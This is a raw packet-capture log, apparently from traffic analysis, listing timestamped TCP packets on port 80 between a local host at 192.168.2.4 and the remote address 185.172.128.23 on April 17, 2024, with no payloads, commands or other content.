Apr 17, 2024 06:57:14.220899105 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220923901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.220923901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221183062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221199036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221231937 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221261024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221283913 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221297979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221327066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221349955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221635103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221652031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221668005 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221682072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221688032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221718073 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221832991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221865892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221908092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.221930027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221946001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221961021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.221973896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222007990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222007990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222115040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222160101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222191095 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222213984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222229004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222234011 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222265005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222265005 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222537041 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222553968 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222570896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222584009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222585917 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222614050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222614050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222645998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222803116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222829103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222841024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222845078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222860098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.222877979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.222903967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223268986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223287106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223303080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223318100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223319054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223319054 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223349094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223350048 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223591089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223617077 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223632097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223637104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223647118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223654032 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223676920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223676920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223921061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223937035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223953009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223967075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.223975897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.223975897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224006891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224006891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224339008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224354982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224370956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224385023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224386930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224386930 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224416971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224416971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224622011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224664927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224687099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224703074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224718094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.224723101 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.224756956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.225147963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.225188017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.225204945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.225219011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.225230932 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.225261927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.225261927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226011992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226027966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226044893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226058960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226064920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226099968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226099968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226100922 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226171017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226210117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226212025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226227999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226242065 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.226257086 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226281881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.226281881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.260950089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.260987997 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261017084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261033058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261039972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261048079 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261039972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261063099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261080027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261095047 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.261104107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261104107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261104107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261104107 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261137962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.261137962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280559063 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280586004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280602932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280618906 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280631065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280635118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280631065 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280649900 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280667067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280683994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.280698061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280698061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280698061 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280699015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.280725956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281013012 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281064034 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281071901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281089067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281102896 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281119108 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281148911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281148911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281164885 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281183958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281200886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281208992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281218052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281229019 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281249046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281249046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281405926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281446934 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281491995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281508923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281522989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281533003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281558990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281558990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281627893 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281646013 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281663895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281670094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281678915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281693935 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281723976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281723976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281884909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281924009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281934977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281954050 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281970024 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.281989098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.281990051 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282020092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282330990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282349110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282365084 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282380104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282381058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282380104 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282412052 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282439947 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282510996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282555103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282592058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282608032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282628059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282632113 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282653093 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282675982 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282830000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282872915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282887936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282903910 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282919884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.282948017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282948971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.282978058 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283184052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283231020 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283252001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283278942 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283294916 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283297062 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283310890 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283313990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283338070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283343077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283354998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283361912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283371925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283377886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283389091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283401966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283401966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283421993 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283423901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283444881 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283468008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283471107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283488035 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283488035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283508062 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283510923 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283530951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283534050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283549070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283552885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283572912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283591986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283591986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283616066 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283638954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283651114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283651114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283657074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283679008 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283698082 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283699036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283715963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283732891 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.283740044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283765078 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.283766031 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284125090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284168959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284187078 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284204960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284219027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284231901 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284255981 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284281969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284434080 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284466982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284475088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284486055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284498930 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.284512997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284533024 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.284548998 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.321780920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.321824074 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.321860075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.321892023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.321978092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.321978092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.321978092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.321978092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.322225094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.322242022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.322258949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.322273016 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.322285891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.322285891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.322318077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.322318077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341238022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341276884 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341308117 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341315031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341332912 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341348886 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341363907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341387033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341532946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341564894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341579914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341583967 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341593027 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341605902 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341622114 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341636896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.341948986 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341989040 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.341995955 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342004061 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342017889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342036963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342036963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342067957 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342396021 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342412949 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342428923 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342442989 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342453003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342453003 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342487097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342487097 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342725992 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342768908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342776060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342783928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342798948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.342809916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342835903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.342835903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343143940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343159914 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343175888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343189955 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343199968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343199968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343230009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:14.343561888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:14.343589067 CEST	80	49730	185.172.128.23	192.168.2.4
